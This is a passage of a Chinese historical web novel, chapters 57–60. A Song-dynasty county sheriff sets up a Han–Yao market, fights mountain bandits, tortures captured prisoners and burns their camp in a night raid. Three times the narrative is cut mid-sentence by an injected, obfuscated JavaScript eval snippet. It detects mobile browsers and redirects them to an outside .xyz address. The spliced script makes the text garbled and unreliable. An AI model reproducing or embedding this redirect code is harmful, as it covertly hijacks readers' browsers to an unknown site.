那几个瑶人青年飞快地用方言交流着,宋准只听出来几个词,大约是“米”、“骗了”、“假的”什么的,最后还是阿贵对宋准一礼道:“多谢县尉,给县尉添麻烦了。” 57.汉瑶互市 眼见事情已经解决,也快到巳时了,宋准将围观的百姓都遣散了,米摊贩子很是神气地对那几个瑶人青年翻白眼,宋准瞧见“啧”了一声,他便立刻收敛了。 “不要得理不饶人,他们也是不想自己吃亏,人家从山里来一趟不易,误会解决了这事儿就算了。”宋准道。 县尉都这样说了,米摊贩子便也只能赔着笑点头称是。 见事情已经解决了,宋准便准备带弓手们去检查城防,在离开的时候,似乎瞟见那几个瑶人青年里有一个用十分怪异的眼神看了一眼那个米摊贩子,等宋准再回头去看时,他们已经去别的摊子处采买了。 午间回了衙门,和弓兵们围在一起吃饭,昨日他们进山巡查时打到头獐子,今日衙厨便将那獐子做成了炙肉,十分鲜美。 吃饭时宋准问李二郎:“从前那市集上也常有这种事情吗?” 李二郎吃得正香,冷不丁被问到还愣了一下:“啊?哦哦哦,有,多了去了,不是说这个秤不准,就是说那个货不对,今日这还好,好歹是没打起来。” “一直这样也不行啊,今日因为这个争,明日为了那个争,总该从根源上杜绝才是。” “县尉说得在理,但要怎么做啊?” 宋准思索了一阵,说:“在集市上划一块地方,在公秤处专作汉瑶互市,每日开辰时到巳时两个时辰,让弓手在旁看守,维持秩序,这样一来,就不会再因为这些事情发生争执。” 李二郎眼睛一亮:“县尉此法可行!告诉县令,县令也一定会支持的。” 旁边的几个弓兵听着也都纷纷点头,很赞成他的想法。 于是吃过饭后宋准就将这个点子告诉了县令,县令不住地赞扬,立刻就写了布告张贴出去,自明日起就施行。 傍晚放值回去,和柳晏令狐朝围坐在榻上的矮桌边吃冰碗,柳晏又像没骨头似的靠在令狐朝身上,令狐朝被他靠习惯了,也不再说他什么,只有他过分地把手往自己腿上伸的时候,才打掉他作乱的手。 “惟衡,市集上的布告我看见了,这法子定是你想的吧?”柳晏说。 宋准点了点头:“嗯,今早市集上的事儿,你肯定也听说了,我总不能日日都要去处理一遍纠纷吧,前些日子判那佃农的案子给我判得都要疯了。” “哈哈哈哈……”令狐朝笑了起来,唇边的梨涡若隐若现,柳晏也笑着伸手去戳,被令狐朝一把抓住了手,摁了回去。 柳晏并不恼,老老实实坐起身,说:“不过啊,瑶人确实很难缠的,他们都住在深山里,缺少教化,很多汉人不愿意和他们打交道也是有原因的。” “怎么说?”宋准问。 “他们会给人下蛊的。”柳晏十分认真地说,“之前在临安的时候,说书先生就讲过潭州这边的事儿,那个压胜术,你不也听了,都差不多的,都是这种损阴德的恶毒法子。” 宋准蹙眉,想到了今早离开市集时瞥见的那个瑶人青年的眼神,他不会因为这个事情记恨了米摊贩子,或者是自己吧? 这样想着,宋准便问出来了,令狐朝用勺子舀起一块西瓜,摇摇头:“应该不会记恨你,但你若是没看错,他真的那样看那个米摊贩子了,唉,这也不好说。” 宋准问道:“下蛊不是也需要些什么东西的吗?生辰八字?贴身物件什么的……” 柳晏说:“是这样没错啦,不过你说的这个是叫阴蛊,只要拿到被下蛊人的这些东西,不见面就能给对方下蛊。还有一种叫做阳蛊,就是见到面就可以下。” “听起来有点恶毒啊……”宋准喃喃着。 柳晏摆了摆手:“其实也还好,蛊本身并不恶毒,主要是看用蛊的这个人,有人用蛊给人治病,有些人就专门学用蛊害人的,你能有什么办法?” 令狐朝说:“诶,我倒是听说过用蛊治病的法子,田里的水蛭,专门养起来的,也算是蛊了,用来清淤血,效果很好。” “把一堆毒虫封进坛子里让它们互相残杀,最后剩的几只,不就是可以害人的蛊了吗?”柳晏说,“茶馆里请的说书先生是这么讲的。” 宋准撇了撇嘴,想象了一下那个画面,不禁打了个寒战。 “嗯……”柳晏趴在桌上,歪头盯着令狐朝,“我说晦言啊,你在医馆近一个月,怎么看着憔悴了不少?” “哈?有吗?”令狐朝摸摸脸,道,“许是这两日没休息好吧。” “那我今晚能和你一起睡吗?” “你是觉得我休息得太好了是吧?”令狐朝在柳晏脑袋上揉了揉,解开了他束发的发带,长发披散下来,令狐朝把那些头发拨过去完全盖住他的脸,“哪儿凉快哪儿待着去。” 宋准看着他们二人,没忍住笑出声来:“令狐兄,不如你就从了他吧,你看他那可怜样子。” “宋惟衡,我最近又对你太好了是吧?”令狐朝十分无奈地瞪他一眼,“他说什么也就你真往心里去,他不懂事儿你也不懂事儿?你怎么不从了他?” “稚言喜欢的又不是我。”宋准幸灾乐祸地笑着,“你们接着聊,我要去洗澡了哦。” 说完他便下榻走了,还不忘把桌上的空碗拿去洗了收进厨房,柳晏养的几只促织在窗台上欢快地叫着,静谧的夜显得更安静了。 柳晏依旧保持着那个姿势,透过发丝的缝隙看着令狐朝的脸,看着看着,他便忍不住伸手去摸,手停在半空没再接近,手指轻轻描摹着他的眉眼。 “晦言,你的眼睛……好漂亮。” 令狐朝放下手上的记簿,将柳晏脸上的头发撩开,凑近了些说:“谢谢,你长得也不赖。” 柳晏垂眼轻笑了一声:“好了,不跟你闹了,我要回房去了,你可要早些休息啊,你这样我会心疼的,你瞧,我的心口都要裂开了。” 他解开外衫,在他左胸口处,有一道狰狞的疤痕,是一道旧伤。 “怎么了?是旧伤又在疼了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720944|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯嗯。”柳晏点了点头,“大概又要下雨了吧,腿也疼,腰也疼,胳膊也疼,胸口也疼,浑身都不舒服。” 令狐朝叹口气,去药柜里拿了个盒子过来:“躺着,给你涂些药。” 柳晏身上的旧伤不少,都是从前出任务还不熟练的时候留下的,令狐朝都一一记得是因为什么伤的,伤在了哪里。 “之前给你的那些药都用完了吗?怎么不来问我要?” 柳晏躺在榻上哼哼唧唧:“给了白兔他们一些,我好装装可怜,让你也心疼心疼我。” “……”令狐朝沉默了。 沉默了很久。 “晦言你别不说话呀,显得……好尴尬。”柳晏坐起身,令狐朝正俯身将药膏涂在他膝盖下的箭伤上。 “我真是不知道该说你什么好。”令狐朝将手指上余下的药膏在自己腕间蹭净了,看着柳晏说,“怎么说你也是我看着长大的,你这样我会不心疼吗?日日都盯着我的身子,自己倒是不对自己的身子上心,我能把你怎么办?” 柳晏眨巴眨巴眼睛,笑了,拽过令狐朝的胳膊紧紧抱住:“知道你心里有我,我就算是死了也能瞑目了。” “好了好了,松手了,下回不舒服了就自己涂药去啊。”令狐朝摁着他的脑袋把他推远,将那药膏盖上收进了盒子里。 宋准这时披着外衫进来了,柳晏一眼就看到了他肌肉分明赤裸着的上半身,眼神直直地望着,不经意地“哇”了一声。 “惟衡,你能把外衫脱了吗?”柳晏说。 “为什么?”宋准擦着头发,很是不解。 令狐朝笑了一声,说:“他见色起意了,要不你今晚和他睡,从了他。” “不要!”“好啊!” 宋准和柳晏的声音同时响起,说的却是全然不同的两个答案,宋准眼睛都睁大了不少,后退几步靠在门上:“我不要!我不喜欢男人,我还没定亲呢。” “哦,那你的意思是,定了亲就可以了?”令狐朝也用幸灾乐祸的表情看着他,又把柳晏的脸扳过去正对着他,“你看他这可怜样子,你忍心让他一直这样看着你吗?” 柳晏双颊被捏着,含糊不清地点头:“嗯嗯嗯!” 宋准深吸了一口气,将外衫拢了拢系好,对令狐朝道:“令狐兄,我错了,你放过我吧,我再也不瞎说了。” 柳晏想转头去看令狐朝,伸手握住了他扳着自己脸的手腕:“晦言,你不能拿我当威胁他的筹码,我也不是什么都吃的。” “是吗?可我看你馋得很呢。” “好色乃人之常情,惟衡身材那么好,还不许我馋一馋了?” 令狐朝松了手,在他脑袋上揉了揉:“好了,逗你玩的,你涂了药的地方别蹭衣裳上了,我要回房去了,明日见。” “哦。”柳晏拽住他的袖子问,“真的真的不能和你一起睡吗?” 令狐朝闭眼叹口气,轻轻拂开了他的手:“婉拒了哈。” 58.山匪劫道 柳晏最后还是死皮赖脸地跟去了令狐朝房里,夜里下起了雨,雨点子打在窗外芭蕉树上,令狐朝身上的旧伤也在疼,雨声越来越大,愈发地睡不好。 柳晏看到他紧皱着的眉头,便去拿了药来替他涂上,又将手掌搓热了覆在他后腰处轻轻揉着。 两人都没说话,听到令狐朝的呼吸平稳了,柳晏又贴近了些,头埋在他后肩,沉沉睡去。 第二日这雨还是没停,天气凉快了不少,宋准在衙门点完卯,和弓手一同去市集巡逻,检查城防。 李二郎在路上就说这下雨的日子最容易出岔子了,水匪山匪专趁这种天气出来劫掠过往商队,山高林密,河道涨水,商队完全拿他们就没办法。 果不其然,刚走到城外商道,便有几人慌慌张张地往城里的方向跑,见到宋准一行人穿的官服,为首一人连忙跪下:“县尉!是县尉吗!我们的商队在前面被山匪劫了!” “在哪!快带路!”宋准一把将他从地上拉起,让他在前面带路,一行人跟在他后面,往南行了一里多,远远的就瞧见道旁翻倒的马车牛车,还有受了伤的车夫。 “山匪往哪个方向去了?”宋准问。 商队的人指着西南的凤凰山,宋准顺着那密林看去,皱紧了眉头。 “二郎,带几个人随我进山,剩下的人留下帮商队清点剩余货物,把受了伤的尽快送进城!” “是!”李二郎领命,去安排人手了。他们这次出来一共也就十五人,李二郎点了其中九人,跟着宋准进了山。 雨水冲淡了大部分足迹,很难找到山匪离开的方向,好在李二郎从前是猎户,十分熟悉这林中地形,也知道怎么在林中追活物踪迹,带着他们左绕右绕,来到了一处山壁附近。 李二郎说山匪多半在这山壁后面安营扎寨了。那山壁浑然天成,中间有一处仅一人宽的裂缝,要想从中穿过,就需要脱掉甲胄,侧身进去。 雨太大,透过裂缝也看不见山那边是什么情况,说不好刚一过去就是几把大刀对着,有去无回。 宋准抬头看了看那山壁上方,少说也有几丈高,坡度很陡,若是没下雨还可能攀上去,但这雨水淋着格外湿滑,徒手怕是怎么也上不去的。 “二郎,前些日子让人改装的竹飞梯呢?改好了吗?”宋准问。 “回县尉,竹飞梯改好了,就是还没试用过。” “走走走走走,回去取过来,我倒要看看这帮匪徒还敢张狂多久。”宋准心里一股无名火蒸腾而起,转身就要下山去,“二郎,记得路吧,今日咱们就把这贼窝端了。” 弓兵们都答应着,和宋准一同下山去,商队的人和剩余的货物已经被弓兵带回城了,等宋准一行返回衙门的时候,已经是午时过了。 来不及多停留,随便扒拉了几口饭,去兵器库里拿了竹飞梯,钩镰枪,还有五张前些日子李涉丞相让人送来的神臂弓,说是给每个山匪多的县城都配备了。 县令听说宋准他们回来,从安置商队的地方赶过来嘱咐他:“宋县尉,那凤凰山坳里易守难攻,匪徒格外狡猾,可千万要小心,不要中了他们计,若是一次不成,不要逞强,先撤回来,下回再突袭便是,尽量不要有伤亡。” “是,下官明白!” 宋准此次带了弓兵二十人进山,李二郎在前面带路,顺原路返回到那出石壁下方,架起了竹飞梯,宋准要率先爬上去查看,被李二郎十分惊恐地摁下。 “县尉不可!太危险,我等先上去,您还要留下指挥呢!” “好吧好吧。”宋准摆摆手,“小心点啊,情况不对就下来。” 几个身手好的弓兵已经顺着飞梯爬了上去,山壁之上是一处较为平坦的区域,上面也有不少树,往前走二十多步,就看到了在山坳里的匪窝。 他们在距离山壁数十步的位置修建了哨塔和寨门,寨门上似乎还挂着字,隔着雨幕,瞧不真切。 有几个山匪还在那哨塔上放哨,手里都拿着弓弩,想必若是有人从下面的缝隙里出去,一定会被他们发现,届时对方数箭齐发,根本没有生还的可能。 弓兵们下来和宋准说明了情况,他刚才已经在地上扒拉出一块干净的位置,用石块在上面画着这山里的地形,雨水冲刷着,顺者石块划过的痕迹聚成水渠,从低处流走。 脑中回想着前任县尉留下的《攸县防务疏》上记录的内容,狡兔三窟,即使不是三窟,也该有多条生路。 “这匪窝不可能只有这一个出入口,本身处于山坳里,应当要将附近高地都守住才是,你们方才有见到高处有人埋伏吗?” “没有,只看见寨门哨塔上有几个放哨的,下着雨,寨子外面也没瞧见什么人。” “我总觉得哪里不太对劲,我们一路找过来,是否太轻易了些?他们带着抢来的赃物,都走的这地方吗?这石缝这么窄,过人都困难,更别说还带着东西。” 李二郎听到这里,立刻行礼道:“县尉!一定是属下看走眼了,属下这就再去寻找入口!” “不,我不是这个意思,我是说,他们故意将我们引过来,可能有埋伏……” 说到这儿,附近草叶窸窸窣窣,在雨声里不太明显,但就在宋准的话停顿时,那声音接近了。 “小心!”宋准大喊一声,瞬间众弓手都十分警惕地防备起来,不远处的树后,头顶的树上,都跳下来匪徒,手里拿着刀斧,不由分说就开始往他们身上砍。 弓兵不甚擅长近战,这些山匪也都是些外道,出手没个章法,人数又多,打起来吃力不少。 宋准执剑与三个匪徒厮打着,躲了这个的刀又要警惕那个的拳头,林中地形并不平坦,还要小心脚下,才过片刻他就有些吃不消了,虽然之前和柳晏学了不少鬼樊近战的阴招,此时一心急,都忘了个十成十。 雨还在下着,有些弓兵已然受了伤,宋准手中的剑被砍断了,此时几乎就是赤手空拳在和他们对打,雨水顺着甲胄缝隙浸湿了衣裳,身上很是沉重。 倒下的山匪越来越多,他抬手挡下匪徒一招时一低头,脑中灵光一闪,突然就想起来令狐朝给过他一把淬了毒的短刀,此时正别在他后腰上。 容不得想短刀占不占上风,直接将其抽出划向匪徒的手,令狐朝说过,这毒发作极快,见血封喉,果不其然,那匪徒还没来得及反应,就直接倒在了地上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725172|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他又再依样放倒了好几个山匪,最后和几个弓兵一起围住了三个活口,将他们都绑了起来,清点了地上倒下的,共十四个,其他的都四散奔逃了。 “活的都带回去,死的扔下山。”宋准命令道,走到那几个活着的匪徒旁边,踹了其中一人一脚,“你们老大在哪儿?死了的里面有没有?” “呸!*的死崽种,老子……” 他话还没说完,宋准已经一脚将他踹倒,泥水溅在他脸上,他却咧着嘴嗤笑起来:“呵呵呵呵,朝廷的走狗,你爷爷我不奉陪了!” “他要自尽!”李二郎一眼就看见那匪徒想要咬舌自尽,冲上去将自己的手腕挡在他嘴里,没被护腕挡住的地方瞬间就见了血。 “二郎!”宋准惊呼,忙从甲胄下扯下几块衣裳的布,代替他的手塞进了这匪徒嘴里,为防止那两个匪徒也有样学样,另两块布也塞进了他们嘴里。 李二郎倒吸着冷气将手抽出来,极深的牙印还在汩汩冒血,他手握成拳抖了抖,扯下一块衣角草草包住:“无妨,县尉,雨又大了,快叫弟兄们回去吧。” “好。那些死了的都处理完了吗?处理完快些走了!”宋准回身喊着,弓兵们应声都聚过来,众人身上多多少少都有些伤,好在有甲胄护着,也都没什么大碍。 将自己带来的兵器和匪徒的一并收拾了,押着那三个匪徒一路下了山,回衙门就将那三人扔进了牢里捆在刑架上,派狱卒看守着,严防他们自尽。 弓兵们都安顿在了县廨,宋准又再派人去请了大夫,带去二十弓兵,十几个都受了伤,还有两个伤得不轻,脱下铁甲衣裳都被血浸透了。 好巧不巧,请来的正是令狐朝和他们医馆的坐堂大夫,宋准一见到他就问:“诶,令狐兄?你不是药师吗?怎么还……” “少说话,伤哪儿了?”令狐朝眼中都是担忧,绕着他转了一圈查看他的伤势。 “我没事儿,没伤到,令狐兄还是快去看看那几个弓兵,伤得有些重,还淋了雨,还有李二郎,被那匪徒咬了。” 令狐朝这才放下了心来,打开药箱去一一查看那些弓兵的伤,好在都没伤到要害,敷上伤药,伤养好了也就无大碍了。 令狐朝和医师两个人也处理了许久,才将弓兵们的伤都包扎好了,又忙着去熬药,他们都淋了很久的雨,若是再染了风寒,再加上身上的伤,怕是难养得很。 宋准也很是担忧,站在一旁皱眉看着,不住叹气,李二郎坐在桌边问:“县尉为何一直叹气?我们不是大获全胜了吗?” “唉,也是我没早点想到这一点,否则我们也不会这样没防备地就被埋伏了,也不会这么多人都受伤。” “县尉别这样说,是我等武艺不精,今后更当勤加练兵,必不会再出现这样的事!” “唉,你在这儿看着吧,我去牢里审人。”宋准不置可否,摆了摆手走了。 令狐朝回头看了宋准一眼:“回去换身衣裳,你这浑身湿透的去,是想带一身病回来?到时候我可不管你,自生自灭吧你。” “……知道了。”宋准答应了一声,拿起墙边靠着的油纸伞,撑伞往家走去。 59.匪首 下大雨的天气,茶馆的生意却兴隆,柳晏在茶馆里忙着不在家,宋准回自己房去换了衣裳,用布擦了擦头发,重新束起来。 赶回衙门,令狐朝和医师还没走,他们在写药方熬药。 县令也来了,知道宋准带人杀了不少匪徒,还绑回来三个活口,对他不住地赞扬,宋准却觉得受之有愧,完全是瞎猫碰上死耗子了,匪徒在埋伏,他们也只是顺势反击,连贼窝寨门都还没摸到呢。 县令却说:“宋县尉此言差矣,不是每只瞎猫都能碰上死耗子,更何况,你们这碰见的还是活耗子呢,能做到如此,已经很好了。” 县令都如此说了,宋准也只好点了点头,他心里还有许多疑问,可能只有审了那几个匪徒才能得到解答。 县狱里,那三个匪徒嘴里还塞着宋准从衣裳上扯下的残片,见宋准过来,个个都目露凶光,死死盯着他。 宋准摘下那个咬伤李二郎的匪徒嘴里的布,他像兽一样晃了晃头,呲着牙:“崽种,有本事杀了老子啊!” 刑架上的铁链随着他的动作哗啦啦响,在牢房里回荡着,蚊蝇绕着他们身上的伤飞着,宋准没说话,将他们上下细细打量了一遍。 “我事先跟你们说好,若是现在问什么答什么,罪责可减,若是冥顽不灵……” 手边的一条鞭子被狠狠摔在桌上发出巨响:“本县尉有一万种办法叫你们生不如死!” “呵,一条走狗也配和老子谈条件?有本事你就杀了你爷爷!”匪徒往边上啐了一口,如果他眼里能放出剑来,此时宋准恐怕已经被扎得千疮百孔。 “是吗?我听说山匪大多自称好汉,最是讲义气……”他从腰后拔出一把短刀,走到旁边那两个山匪身边,脱掉了他们的衣裳。 “不如这样,我问你一句,你答一句。你若不答,或有所隐瞒,或再满嘴喷粪的,我便往他们身上划一刀,怎么样?” “你竟敢刑讯逼供!” 宋准勾唇冷笑:“我为什么不能刑讯逼供?《宋刑统》里记得清清楚楚,可施拷刑。再说了,这是刑讯逼供吗?这是在山里混战时砍伤的!” 话音落,短刀已经划向了其中一人的胸膛,血汩汩而出。 他们嘴里还塞着布,只能发出无助的呜咽,那个匪徒当即破口大骂,朝宋准身上吐唾沫,宋准又是一刀划过另一人的胸膛,将短刀深深扎进他颈侧的刑架。 “我不多计较,你说说,你们那寨子里有多少人?” “说你*!”匪徒嘶吼出声,“你拿他们威胁我?” “这不算威胁吧,你弃暗投明,你的弟兄们不用受皮肉之苦,你们三人都能减罚,在山里为非作歹就是好去处吗?今日我不端了你那贼窝,明日也会让别的县尉给端了,你宋爷爷心善,都叫你少挨两刀了还不识相。” 说完,他拿起桌上的长鞭就打在了那两个匪徒身上:“再问一遍,寨子里有多少人?” 这两个匪徒开始用求助的眼神望着那个还在不停谩骂的匪徒,宋准拿下其中一人嘴里的布,他张嘴就喊:“说了吧二当家!” 宋准当即又把他嘴堵上,转头对那匪徒道:“哟,二当家啊?怪不得这么有血性,只是有血性虽好,却也该用对了地方。” “啪!”又是一鞭子抽向了那两个小喽啰,他们身上没什么肉,精瘦得很,不像这二当家膘肥体壮,宋准从一开始就知道他定是个匪头子,穷凶极恶,看来那些小喽啰跟着他们混得也并不怎么样。 这时候外面有一狱卒来报,说是令狐先生请县尉出去一趟。 宋准看了一眼刑架上的三个人,把手中的鞭子放在狱卒手里,嘱咐道:“把他们看好,别叫那个胖的自尽了,嘴给他堵上。” “是!” 宋准出了狱门,令狐朝挎着药箱撑把伞在边上站着,见他出来,微笑着望着他,像个遗世独立的仙人。 他青色长衫的下摆被雨水沾湿了一些,颜色重了不少,宋准撑起伞到他身边问:“怎么了令狐兄?是有什么要事吗?弓兵们的伤怎么样了?” “他们都无大碍了,我不放心你,来看看。手给我。” 宋准听话将手伸过去,他探上他腕间脉搏,歪了歪头说:“嗯,还好,你也没什么事儿。我听说今日挺凶险的,你倒是厉害,让他们都活着回来了。” “多亏你给我的那把刀了,落了下风的时候才想起来,拿出来把多数匪徒都解决掉了,只可惜想到的还是晚了。” 令狐朝笑了笑:“能想到说明你还有点脑子,之后别犯糊涂就行。里面审讯得怎么样了?那几个匪徒招了吗?” “没。有一个是他们二当家,难啃得很,格外粗鄙蛮横,先前还要咬舌自尽,还好李二郎给拦下了。” “咬舌自尽吗?”令狐朝将伞递到宋准手里,打开药箱翻找着,“这个好办,我有个好东西,你拿去试一试。” 他拿出了一个巴掌大的小瓷罐,神秘一笑:“大概是可以让人浑身无力血行减缓的,我还没有找东西试过,但不会对躯体造成什么严重的损伤,用上这个肯定没什么力气咬舌自尽了,就算不把他们铐着,也没力气跑路。” 宋准疑惑:“那还有力气说话吗?” “嗯……这个我不好说,不如我和你一起去,要是没力气说话,我再把药解了就是。” “也行。” 二人一同返回牢里,令狐朝将药箱放下,坐在桌边静静看着,宋准将那药按他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732401|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所说抹在了匪徒耳后,片刻后又拿出了他们嘴里塞着的布。 这时只见方才还气焰嚣张不断挣扎的匪徒现在已经没了什么动静,那二当家有气无力地说:“*的,死崽种你给老子用了什么东西?!” “都这样了还不说?那让他们说。”宋准塞住他的嘴,问那俩小喽啰,“哎,你们那寨子里多少人?” “一百……一百五十八人。” “可以,挺识相。”宋准放下了手里的鞭子,“出入口有几个?都在哪儿?” “凤凰山坳,南边,有进山的路,仅此……一条。” “都有些什么兵器啊?” “就是……弓弩,刀剑之类……” 那二当家的眼里此刻像是淬了火,恶狠狠盯着宋准和那两个小喽啰,宋准轻笑了一声,拿下了他嘴里那块布。 他当即呸了一声嘶吼道:“好你们两个小崽子,没骨头的玩意儿!” “行了,别叫了,演够了吗?”宋准收敛了所有笑意,语气已经有些不耐烦,一鞭子抽在了他身上,“当我这儿是百戏班子呢?一唱一和的,我再给你们最后一次机会,不说,就不是我动手了。刑官下手可比我这个县尉要狠得多,但愿你们还能这么仗义。” “进山的入口,到底在哪边?寨子里共多少人?!” 宋准一早就看见他们在那儿眉来眼去,多半是一早都计划好了,若是被抓住拷问应该怎么说,说的那南面小路,只怕又是一个埋伏点。 那三个匪徒面面相觑,都没说话,宋准上前把他们嘴里的布都扯了出来丢在地上,喊了一声:“刑官!” 两人小跑着过来,对宋准一礼:“现在行刑吗?县尉。” “对,不要手下留情,按这个上面的问,问出来再停手。”宋准递给他们一卷文书,拉着令狐朝往门口去。 “好厉害呀惟衡。”令狐朝笑着揶揄他,用胳膊肘撞了一下他的胳膊,“平常跟个包子似的,审起人来这么厉害,吼那一声把我都吓一跳。” “令狐兄别取笑我了,再厉害他们不也什么都没说。唉,还说今日要去把贼窝端了呢,多半是端不掉了。” “没事儿,今日不行还有明日嘛,再说这雨下着,也不甚安全,别到时候一个个都崴了脚摔断腿,今后还干不干了。” “话是这么说没错,可我这心里总安宁不下来,像是被什么催着似的。” 令狐朝拍拍他的肩膀:“年纪轻轻的不要这么急躁,来,为兄教你一套清心诀。清心如水,清水即心,微风无起,波澜不惊……” “啊?” “啧,跟我念啊!清心如水清水即心。” “哦哦哦,清心如水,清水即心……” 60.夜袭 “怎么样?安宁了吗?” “嗯,缓解不少。” 雨开始小了,令狐朝从屋檐下伸出手,转头笑笑:“好了,那药也没什么问题,雨也小了,我就先回医馆了,晚上想吃什么?我来做。” “都可以,令狐兄的手艺,做什么都是好的。” “好啊,今早买到一条鲈鱼,晚上便清蒸了吧。我走了。” “嗯嗯。” 宋准看着令狐朝撑伞离开的背影,许是从前一直住在船屋里的缘故,每次在伞下时他总会微微弓背颔首,像怕脑袋撞到屋顶。离开船屋这么久了,也还保持着这样的习惯,看着总觉有些心酸。 看到令狐朝消失在视野里,他叹了口气,转身回牢里。山匪的惨叫此起彼伏,穿插着刑官的问话声,狱卒见到宋准,纷纷向他行礼。 他靠在墙上等了一会儿,听到刑官停了手,才过去问道:“吐出来多少?” “回县尉,这些。”刑官递上文书,在上面绘出的地形图里已经用朱笔标出了匪寨所有出入口,包括其附近的看守人数,所配兵器,寨中留守人数。 宋准看了一眼那三人,只这一会儿时间,就被打得体无完肤,再加上用了令狐朝的药,现在奄奄一息的,没什么动静了。 “把他们看好了,给上点药,别死牢里了。”宋准说。 “是,县尉放心,我等有分寸。” 宋准拿着那卷文书离开县牢回衙门,剿匪之事拖不得,不能留给山匪喘息的机会,最好的办法就是发动夜袭,打他们个措手不及。 县里剩余没受伤的能跟着出去的弓兵还有三十一人,加上他和李二郎,突袭的话已经够了。 想到令狐朝走之前问了晚上要吃什么,若要夜袭,肯定是回不去了,还好雨停了,可以唤柳晏的信鸽送信,他便写好字条吹了声鸽哨,让信鸽送去给令狐朝。 傍晚临行前,宋准又和所有弓兵细细复盘了一遍计划,确定每个人都将其牢记于心,才带人出城往凤凰山去。 天上的雨云都散去了,月光挺亮,也省去了点火把,也免得叫匪窝里放哨的看见。 一队人分三路从小路进山,分别在匪寨三个出入口埋伏,此时月悬中天,已经是三更时分,借竹飞梯攀至高处,看见匪寨里灯火依稀,想必他们不会想到官府会夜袭,这正是动手的好时候。 一发响箭破空而出,随后是无数燃着火的箭矢射进匪寨,宋准让弓兵所用的是一种猛火油,无惧雨水潮湿,及其易燃,灌进竹筒由箭带入,几乎是一瞬间,整个匪寨就燃了起来。 火光点亮了明月夜,匪徒高声喊叫,四散奔逃,从出口逃离的都被射杀。 待里面安静了,宋准和李二郎带了几个人进去搜寻,就看见在寨子正中央的一个高座上,坐着一个匪徒,就那样看着匪寨燃烧,不跑也不叫喊,甚至在气定神闲地抽着叶子烟。 宋准知道,这多半就是那所谓的山匪大当家了,李二郎举起神臂弓对准了他,宋准没阻拦,箭矢贯穿他的头颅,烟枪无力地掉在了地上。 整个寨子都搜寻清点完,剩余活着的匪徒二十五人,已射杀者十七人,寨中有弓二十张,弩十张,刀剑若干,神臂弓一张,银钱布匹,金银珠宝和被抢的货物若干。 这些兵器不好带走,宋准便叫人做了记录,赃物能拿走的先拿走,匪首的脑袋也砍了下来,和这些活口一并押送回去,等到了城中,东边已经露出些亮光来了。 一夜没睡,弓兵人人却都还士气高涨,端掉一个这样的匪窝,可是立了大功,能拿不少赏钱呢。 县令也是一夜没睡,听到街上有动静就出来迎接了,看到众人脸上都乐呵呵的,就知道成了,不住地夸赞宋准有勇有谋。 宋准被夸得有些不好意思了,只好岔开话题道:“县令过奖了,都是下官分内之事。抓回来的匪徒不少,下官这就去将这些匪徒押到牢里去。 “好,去吧去吧,我这就去写文书上报州府,此次宋县尉可是立了大功啊!” 将人押进牢里还暂时闲不下来,要挨个问话,写罪状,口供,挨个签字画押,折腾完这些,都已经到中午了,肚子里空空的,咕噜了好几转。 宋准站起身在脸上抹了一把,伏案写罪状,脖子都僵了,实在难受,拿着那一摞罪状回衙门交给县令,衙厨已做好了午饭,唤他们去吃。 许是真的忙了太久,宋准一口气吃了四碗饭,还觉得意犹未尽,又再吃了两个炊饼,才觉得肚子里舒服了,县令见他实在辛苦,正巧下午也没什么要紧事,便许他先行放值了。 吃饱了立刻开始犯困,宋准走在路上的时候就感觉眼皮似有千斤沉,回了家,衣裳鞋子都懒得脱,倒在堂屋的榻上就睡,一觉睡到令狐朝和柳晏将他叫醒吃饭。 “惟衡,我们都听说了,你一举端了凤凰山的匪窝,真是厉害啊!”柳晏说。 “啊?”宋准还没清醒过来,眼神木讷,茫然地看着他们二人。 令狐朝在他身上拍了拍:“起来吃饭,昨日你没回来,鲈鱼我和稚言吃了,今日给你庆功,炖了只鸭子,还有你爱吃的山笋哦。” “啊,给我庆功吗。”宋准坐起身揉揉眼睛,“好困啊,现在什么时辰了?” “戌时了。看你睡得香,没忍心太早叫你起来,但你若再不起,鸭子就炖过头了。” “呵欠~”他打了老长一个呵欠,从榻上下来,理了理身上拧巴着的衣裳,令狐朝和柳晏已经坐在了桌边,他也过去坐下。 柳晏夹起一条鸭腿放到他面前说:“来惟衡,给你补补,奔波一夜,累坏了吧。” “哈哈哈,其实还好,昨晚也挺顺利的,一次就拿下了。” “年轻真是好啊,多吃点。”令狐朝又往他碗里夹了块山笋,“我现在盼你们俩飞黄腾达,你从政,稚言从商,我就可以放心躺在家里等你们养我了。” “我现在也可以养你啊,你从了我,我和我的钱都归你管。”柳晏咬着筷子冲他眨眨眼睛,一副十分期待的模样。 